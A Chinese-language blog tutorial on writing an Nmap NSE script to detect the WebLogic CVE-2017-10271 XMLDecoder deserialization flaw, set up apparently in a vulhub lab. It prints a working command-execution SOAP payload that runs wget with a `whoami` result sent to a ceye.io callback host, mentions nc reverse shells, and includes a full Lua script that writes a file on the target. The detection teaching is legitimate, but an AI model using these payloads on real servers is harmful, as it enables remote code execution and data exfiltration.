工具| NSE漏洞审计和渗透脚本的demo
nmap为我们提供了较为精准的端口和服务探测的功能,如果我们在探测到某些端口或者服务的同时顺带检测下是否含有曾经爆出的漏洞呢?本期将以Weblogic < 10.3.6 ‘wls-wsat’ XMLDecoder 反序列化漏洞为例子,为大家介绍如何用NSE来编写渗透脚本。
0x01 http 库的介绍
由于本次Weblogic 反序列化漏洞这个例子是以HTTP请求的方式来发送POC和相关请求,所以需要先掌握http库的使用。
1. 实现一个HTTP中的get方法
local http = require "http"
local req = http.get(host, port, path, options)
http库的get方法可以发起一个请求,请求将请求结果以一个table的形式返回。 参数说明:
- host : 要请求的主机
- port : 要请求的主机的端口
- path :要请求的路径
- options :一个table的格式,可以定义socket超时时间、HTTP 的请求头部字段或者其他的参数
2. 实现一个HTTP中的post方法
local http = require "http"
local req = http.post(host, port, path, options, ignored, postdata)
post方法支持的参数有6个,相同的4个和get方式一样。 不同与GET的参数说明:
- ignored : 忽略向下兼容。此参数斗哥也不太理解,一般置为nil
- postdata :POST数据,可以是字符串或者是一个table。默认会以application/x-www-form-encoded编码方式提交,如果不想使用此方法,需要改写generic_request这个方法。
3. 获取返回内容
- req.status : HTTP返回包的状态码
- req.header / req.rawheader:整个返回包头部
- req.body : HTTP报回报的正文
4. 关于脚本调试
使用nmap-d参数 这个后面可以跟1-9的数字,数字越大调试信息越详细,一般-d3足以查看到详细的http报文了。
使用wireshark 利用wireshark本身的报文过滤能力,筛选出我们想要的HTTP请求包。 如筛选命令:http.request.method=="POST" and ip.dst==192.168.1.1 就可以筛选出发往192.168.1.1的POST请求了。
0x02 漏洞环境搭建
环境使用的是phith0n牛的docker开源靶场:https://github.com/vulhub,使用docker搭建漏洞环境会比较高效。
0x03 漏洞POC
因为该漏洞是属于代码执行漏洞,根据这个漏洞可以文件写马或者执行系统命令。
文件写马POC 利用的java的io包下的PrintWriter类:<object class="java.io.PrintWriter">
该POC的路径不能出错,漏洞环境需要有写的权限。作为POC我们不必写真正的JSP马,写入无害数据到一个文件,然后判断文件是否有数据即可。
命令执行,反弹shell或者是利用服务监控的方式 由于该代码执行执行系统命令并没有回显结果。所以斗哥掌握的方法一种是执行nc命令反弹一个shell回来,另外一种是通过服务监控的方式,而服务监控的方式更使用与nmap的脚本编写。
利用的java的lang包下的ProcessBuilder类:<object class="java.lang.ProcessBuilder">
利用CEYE,本次漏洞我们可以监控的服务有nslookup、curl、wget、ping等。
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.8.0_131" class="java.beans.XMLDecoder">
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="2">
<void index="0">
<string>wget</string>
</void>
<void index="1">
<string>`whoami`test111.xxx.ceye.io</string>
</void>
</array>
<void method="start"/>
</object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
0x04 NSE脚本
脚本的POC使用的是通过写入无害数据到文件,检测文件是否存在的方式。如果要使用监控服务的方式,只需更换POC即可。
nmap命令:nmap -Pn -p7001 --script weblogic_cve2017_10271 192.168.1.0/24
local http = require "http"
local shortport = require "shortport"
local string = require "string"
description = [[检测Weblogic < 10.3.6 'wls-wsat' XMLDecoder 反序列化漏洞(CVE-2017-10271)]]
author = "reborn"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"default","safe","discovery","version"}
portrule = function(host,port)
return port.protocol == "tcp" and port.state == "open"
end
action = function(host, port)
print("port.numner is : ",port.number)
print("port status is : ",port.state)
local basepath = "/wls-wsat/CoordinatorPortType"
math.randomseed(tostring(os.time()):reverse():sub(1, 7)) --设置时间种子
local randomnum = math.random(1000000,9999999) -- 生成一个随机数,POC需要具有随机性
local randomurl = '/wls-wsat/' .. tostring(randomnum) .. '.txt'
print(randomurl)
local postdata='<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java><java version="1.4.0" class="java.beans.XMLDecoder"><object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/wls-wsat/54p17w/war/' .. tostring(randomnum) .. '.txt</string><void method="println"><string>xmldecodetest</string></void><void method="close"/></object></java></java></work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope>'
local options={ header = { -- HTTP头部的编写格式
["Accept-Encoding"]="en",
["Accept"]="*/*",
["User-Agent"] = "Mozilla/5.0",
["Content-Length"]=638,
["Content-Type"]="text/xml",
["Expect"]="100-continue",
["Connection"]="Keep-Alive"
} }
local req = http.get(host,port,basepath,{ no_cache = true}) -- 检测是否存在/wls-wsat/CoordinatorPortType路径的请求
local reqw= http.post(host,port,basepath,options,nil,postdata) -- 发送POC的请求
local reqr= http.get(host,port,randomurl,{ no_cache = true}) -- 检测POC是否成功写入文件的请求
if string.find(reqr.body,'xmldecodetest') ~= nil -- 如果写入的文件有xmldecodetest字段,说明漏洞存在
then
return "Vuln Detect CVE-2017-10271 ,Weblogic < 10.3.6 'wls-wsat' XMLDecoder"
end
if string.find(req.body,'CoordinatorPortType') ~= nil -- 如果存在/wls-wsat/CoordinatorPortType路径,说明可能存在风险
then
return "Vuln Warning .. Detect PATH: /wls-wsat/CoordinatorPortType ,Mabey CVE-2017-10271 ,Weblogic < 10.3.6 'wls-wsat' XMLDecoder"
end
end
- 开发人员为何需要企业服务总线?
- 搭建Visual Studio Code+Python开发环境1.对象简介2. 搭建步骤3.小结
- 洛谷P3835 【模板】可持久化平衡树
- 17.HTML
- 洛谷P2925 [USACO08DEC]干草出售Hay For Sale
- Numpy 修炼之道 (13)—— 将python函数向量化
- 洛谷P1887 乘积最大3
- 18.CSS
- R语言可视化——ggplot图表系统中的形状
- [机器学习Lesson 1 Introduction] 机器学习的动机与应用
- 洛谷P3377 【模板】左偏树(可并堆)
- Numpy 修炼之道 (12)—— genfromtxt函数
- 19.JavaScript
- 20.DOM
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- Sqlilabs通关笔记(五)
- 如何证明sleep不释放锁,而wait释放锁?
- 如何将SAP Document Builder的word控件设置成只读模式
- 在SAP CRM WebClient UI里打开ABAP Webdynpro页面
- SAP CRM WebClient UI和ABAP Webdynpro页面的互相跳转
- 通过 Apache Ant 来运行 Tomcat
- 你要的干货!信息收集之绕过CDN获取真实网站IP方法总结
- ES聚合操作
- leetcode-easy-array-删除排序数组中的重复项
- SQL注入靶场之SQLiLabs搭建指南
- [OHIF-Viewers]医疗数字阅片-医学影像-redux-token实操(1)
- [OHIF-Viewers]医疗数字阅片-医学影像-屏蔽StudyList病例列表
- Ant Design for Vue的Table组件一列显示多个参数
- 【React】React-router的使用记录
- Blazor带我重玩前端(四)